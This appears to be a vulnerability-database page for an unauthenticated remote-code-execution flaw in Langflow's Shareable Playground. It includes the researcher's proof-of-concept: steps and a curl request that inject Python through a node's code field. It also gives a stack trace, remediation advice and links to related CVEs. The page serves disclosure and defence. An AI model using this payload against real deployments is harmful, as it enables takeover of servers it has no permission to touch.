Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Endpoint is reachable over the network with no auth (AV:N/PR:N), single HTTP request triggers RCE without victim interaction (AC:L/UI:N), and code runs outside Langflow's security scope with full impact (S:C/C:H/I:H/A:H).
Primary rating from Vendor (https://github.com/langflow-ai/langflow).
CVSS VectorVendor: https://github.com/langflow-ai/langflow
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionCVE.org
Summary
The "Shareable Playground" (or "Public Flows" in code) contains a critical RCE vulnerability. Simply sharing a flow exposes the deployment to RCE risk by authenticated users.
Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe
Details
Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link. Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID. When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload!
The vulnerable field is data.nodes[X].data.node.template.code.value. See PoC for an example.
PoC
Reproduction:
- Create a new flow and add a Chat Input node to it
- Share the flow ("Shareable Playground")
- Access the public link with the browser developers tools open and execute the flow.
- Find the
/api/v1/build_public_tmproute and copy as cURL - Edit the
data.nodes[X].data.node.template.code.valueJSON field with any python code and run the cURL command.
Example PoC (replace flow ID with the correct one), and download test_with_python.json:
curl 'http://localhost:7860/api/v1/build_public_tmp/<flow-id>/flow?start_component_id=ChatInput-syEJp&log_builds=false&event_delivery=streaming' \
-H 'Content-Type: application/json' \
-b 'client_id=anything' \
--data-raw "$(cat test_with_python.json)"Search for touch /tmp/pwned in the test_with_python.json and edit for any other code.
The stacktrace for the code executed is:
...
File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 495, in generate_flow_events
ids, vertices_to_run, graph = await build_graph_and_get_order()
File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 234, in build_graph_and_get_order
graph = await create_graph(fresh_session, flow_id_str, flow_name)
File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 298, in create_graph
return await build_graph_from_data(
File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/utils/core.py", line 192, in build_graph_from_data
graph = Graph.from_payload(payload, str_flow_id, flow_name, kwargs.get("user_id"))
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1153, in from_payload
graph.add_nodes_and_edges(vertices, edges)
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 270, in add_nodes_and_edges
self.initialize()
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 512, in initialize
self._build_graph()
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1305, in _build_graph
self._instantiate_components_in_vertices()
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1347, in _instantiate_components_in_vertices
vertex.instantiate_component(self.user_id)
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/vertex/base.py", line 382, in instantiate_component
self.custom_component, _ = initialize.loading.instantiate_class(
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/interface/initialize/loading.py", line 45, in instantiate_class
custom_component: CustomComponent | Component = class_object(
File "<string>", line 59, in __init__Impact
Unauthenticated RCE on any deployment with a shareable playground.
Ori Lahav Security Researcher @ Rubrik Inc.
Articles & Coverage 2
AnalysisAI
Remote code execution in Langflow versions through 1.9.1 allows unauthenticated attackers to execute arbitrary Python code on the host by abusing the Shareable Playground (Public Flows) feature. When a flow is shared, the /api/v1/build_public_tmp endpoint accepts user-supplied node code in the JSON payload field data.nodes[X].data.node.template.code.value and executes it during graph instantiation. Publicly available exploit code exists via the GitHub Security Advisory GHSA-v5ff-9q35-q26f, including a working cURL-based PoC.
Technical ContextAI
Langflow is a Python-based low-code platform (distributed as pkg:pip/langflow) for building LangChain-powered AI workflows by visually wiring together component nodes. The Shareable Playground feature exposes the route /api/v1/build_public_tmp/<flow-id>/flow so unauthenticated users can execute a shared flow. During graph construction (lfx/graph/graph/base.py → Graph.from_payload → _instantiate_components_in_vertices → instantiate_component), the server trusts the template.code.value field on each node and compiles it as the custom component class, which constitutes CWE-94 (Improper Control of Generation of Code, a.k.a. code injection). Because the code is taken from the request body rather than the persisted, owner-authored flow definition, any client can substitute their own Python and have it executed inside the Langflow process.
RemediationAI
Vendor-released patch: upgrade Langflow to 1.9.2 or later (pip install --upgrade 'langflow>=1.9.2'), as documented in GHSA-v5ff-9q35-q26f (https://github.com/langflow-ai/langflow/security/advisories/GHSA-v5ff-9q35-q26f). If immediate patching is not possible, unshare every flow (disable the Shareable Playground / Public Flows feature) so that no flow IDs are reachable via /api/v1/build_public_tmp, and block or reverse-proxy-deny that route at the ingress; note that this disables all public-playground demos and link sharing. Additionally, restrict network exposure of the Langflow service to trusted users via authentication-enforcing proxy or VPN and run the Langflow worker as a low-privileged, sandboxed (container/seccomp) user to limit blast radius if code execution still occurs.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-94 – Code Injection
View allSame technique Code Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-38514
GHSA-v5ff-9q35-q26f